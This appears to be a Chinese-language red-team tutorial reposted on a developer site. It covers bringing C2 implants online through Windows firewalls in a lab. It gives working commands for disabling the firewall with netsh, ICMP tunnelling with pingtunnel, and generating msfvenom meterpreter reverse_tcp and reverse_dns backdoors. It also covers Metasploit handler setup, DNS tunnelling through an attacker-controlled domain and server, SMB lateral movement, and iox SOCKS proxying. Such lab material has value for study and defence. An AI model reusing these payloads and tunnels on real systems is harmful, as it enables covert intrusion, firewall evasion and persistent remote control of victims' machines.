内网对抗-网络通讯篇&防火墙组策略&入站和出站规则&单层双层&C2正反向上线

在这里插入图片描述

关闭第一个防火墙:

第一个上线就走反向或者正向
第二个上线走反向(第二个防火墙阻止入站)
在这里插入图片描述

关闭第二个防火墙:

第一个上线就走反向(第一个防火墙禁止入站)
第二个上线走正向(第一个防火墙禁止入站)
在这里插入图片描述

双向防火墙上线方案(两个防火墙都禁止入站):

两个防火墙都开启,第一个上线走反向,
第二个上线,正向:第二台主机防火墙禁止入站,反向:第一台主机防火墙禁止入站

解决方法:

1、不是域的内网环境,可以通过Windows防火墙命令来关闭防火墙

参考:https://www.cnblogs.com/tomtellyou/p/16300557.html
查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound

2、SMB协议(文件夹和打印机共享服务445端口)通讯上线(默认放行)

3、域的内网环境,利用协议(ICMP SSH dns)建立隧道

![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/f9275d2094574cea9b74f0689f1fc29e.png
学隧道前先搞清楚

1、不是有互联网才叫出网

不仅仅是互联网连接
可以是内网到外网的任何形式连接
包括专线、VPN等合法连接方式

2、C2(CS、MSF)常见上线采用的协议
3、常见的协议层出网判断

TCP三次握手确认连接状态
ICMP echo请求/响应
DNS解析测试
HTTP响应状态码检查

常用的隧道技术:

利用各种隧道技术,以网络防火墙允许的协议,
绕过网络防火墙的封锁,实现访问被封锁的目标网络
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

场景:

A ping B 不通,B ping A通
A出不出网,B出不出网?
answer:A 不出网 B出网 A的出站策略ICMP被禁用

协议 判断命令
ICMP ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port

C2上线-开防火墙入站只80&出站只放ICMP:

ICMP 通过 PING 命令访问远程计算机,建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而穿过防火墙,防火墙一般不会屏蔽 PING 数据包,实现不受限制的访问。
应用场景:80为入口权限点,ICMP为上线突破口
适用场景:目标入站正向被拦截,出站有ICMP出网
排查出网协议:curl nslookup ping等命令
在这里插入图片描述
攻击机kali:192.168.52.131
靶机win2016:192.168.52.135

在这里插入图片描述
先添加两个监听器一个监听靶机本地3333端口,一个监听kali的2222端口

在这里插入图片描述
在这里插入图片描述

生成可执行后门,上传到靶机上

靶机:pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.52.131 -t 192.168.52.131:2222 -tcp 1 -noprint 1 -nolog 1
kali:sudo ./pingtunnel -type server

在这里插入图片描述
执行6.exe
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
上线成功

MSF搭建ICMP隧道:

pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe
监听器配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3344
run

C2上线-开防火墙入站只80&出站只放DNS:

应用场景:80为入口权限点,DNS为上线突破口
适用场景:目标入站正向被拦截,出站有DNS出网
排查出网协议:curl nslookup ping等命令
在这里插入图片描述

首先在公网服务器配置域名解析
在这里插入图片描述

在这里插入图片描述

在服务器上启动服务端
在这里插入图片描述

配置监听器
在这里插入图片描述
生成exe后门木马
在这里插入图片描述
运行dns.exe
在这里插入图片描述
上线成功
在这里插入图片描述

MSF搭建dns隧道

使用方法

  1. 以git clone方式安装 https://github.com/defcon-russia/metasploit-framework
  2. 网上买个域名,越短越好,像msf.ws这种
  3. 购买个亚马逊EC2服务器套餐 (比如IP是1.2.3.4)
  4. 把NS记录和域名msf.ws及IP进行对应
  5. 把我们的DNS MSF Bridge部署到EC2服务器中运行
    ./dns_server.py --ipaddr 1.2.3.4 --domain msf.ws
  6. 制作攻击载荷(Payload)
    ./msfvenom -p windows/meterpreter/reverse_dns DOMIAN=msf.ws RHOST=1.2.3.4
  7. 生成exploit
  8. 执行MSF控制
use exploit/multi/handler
set payload windows/meterpreter/reverse_dns
set DOMAIN msf.ws
set RHOST 1.2.3.4
run
  1. 针对目标机器执行exploit,稍等一会就会产生反弹连接

C2上线-SMB-开防火墙入站只445:

SMB一般在防火墙入站默认是开启的,判断目标端口是否开放
适用场景:防火墙放行的入口打不下利用放行的SMB移动获取权限
利用条件:密码喷射或已知口令的情况下直接正向SMB横向移动拿下

#后续穿透问题

我再这台机器上启动weblogic服务服务端口7001
在这里插入图片描述
这台只允许web入ICMP出
在这里插入图片描述

接收客户端传递的ICMP
kali:./pingtunnel -type server -noprint 1 -nolog 1 -key 000000
将本地4455转至5566端口
./iox proxy -l 4455 -l 5566
在这里插入图片描述

Web(192.168.52.135)
将本地2222的TCP封装ICMP给192.168.52.131:4455
pingtunnel -type client -l 127.0.0.1:2222 -s 192.168.52.131 -t 192.168.52.131:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000
建立SockS节点绑定3389端口:
iox.exe proxy -r 127.0.0.1:2222
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐